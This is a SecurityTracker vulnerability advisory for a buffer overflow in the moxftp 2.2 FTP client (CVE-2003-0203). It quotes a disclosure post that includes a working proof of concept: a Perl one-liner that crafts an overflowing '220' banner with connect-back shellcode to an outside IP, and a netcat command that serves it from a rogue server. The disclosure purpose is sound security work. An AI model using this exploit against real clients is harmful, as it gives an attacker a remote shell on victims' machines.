SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (File Transfer/Sharing)  >   moxftp Vendors:   University of Texas System, Regents of
Moxftp Client Buffer Overflow Lets Remote Servers Execute Arbitrary Code on the Client
SecurityTracker Alert ID:  1006156
SecurityTracker URL:  http://securitytracker.com/id/1006156
CVE Reference:   CVE-2003-0203   (Links to External Site)
Updated:  Jun 13 2008
Original Entry Date:  Feb 23 2003
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 2.2
Description:   A buffer overflow vulnerability was reported in the moxftp FTP client. A remote FTP server can execute arbitrary code on the client when the client connects to the malicious server.

It is reported that a malicious remote server can supply a specially crafted '220' banner to the client to trigger a buffer overflow. The following format can be used, according to the report:

[508 bytes][ebp ][eip ][nops][shellcode]

Impact:   A remote server can execute arbitrary code on the client when the client connects to the server.
Solution:   No solution was available at the time of this entry.
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
(Debian Issues Fix for Moxftp) Moxftp Client Buffer Overflow Lets Remote Servers Execute Arbitrary Code on the Client
Debian has released a fix.
(Debian Issues Fix for xftp) Moxftp Client Buffer Overflow Lets Remote Servers Execute Arbitrary Code on the Client
Debian has released a fix for xftp.



 Source Message Contents

Subject:  [Full-Disclosure] moxftp arbitrary code execution poc/advisory


This is a multi-part message in MIME format.

------=_NextPart_000_0981_01C2DB7F.F2177BB0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Attached document explains all.

This document is also available from http://kokanins.homepage.dk

--
Knud
------=_NextPart_000_0981_01C2DB7F.F2177BB0
Content-Type: text/plain;
	name="moxftp.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="moxftp.txt"

I. BACKGROUND

According to the vendor moxftp is a "Ftp shell under X Window System".
/usr/ports/ftp/moxftp

II. DESCRIPTION

Insufficient bounds checking leads to execution of arbitrary code.=20

III. ANALYSIS

Upon parsing the '220 welcome to server' ftp banner a buffer can be
overrun, allowing us to execute our arbitrary code. The buffer may be=20
constructed as such: [508 bytes][ebp ][eip ][nops][shellcode]. Placing=20
the nops and shellcode in the buffer before ebp seems to cause some=20
problems, luckily there's plenty of space after eip.

Example run:

$ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" =
x 100 . =
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9=
\x9d\x02\x24\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\=
x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x=
2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80" =
. "\n"' > file
# nc -l -p 21 < file

This sets up a rogue server which will overflow the buffer, and execute
the shellcode. The shellcode is connect-back to 217.157.2.36 port 10000,
replace "\xd9\x9d\x02\x24" with a suitable ip for testing.

IV. DETECTION

moxftp-2.2 shipping with the FreeBSD ports system as well as from=20
various webpages per 9/2-03 is vulnerable.

V. WORKAROUND

unknown

VI. VENDOR FIX

unknown

VII. CVE INFORMATION

unknown

VIII. DISCLOSURE TIMELINE

unknown

IX. CREDIT

Knud Erik H=F8jgaard


------=_NextPart_000_0981_01C2DB7F.F2177BB0--

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC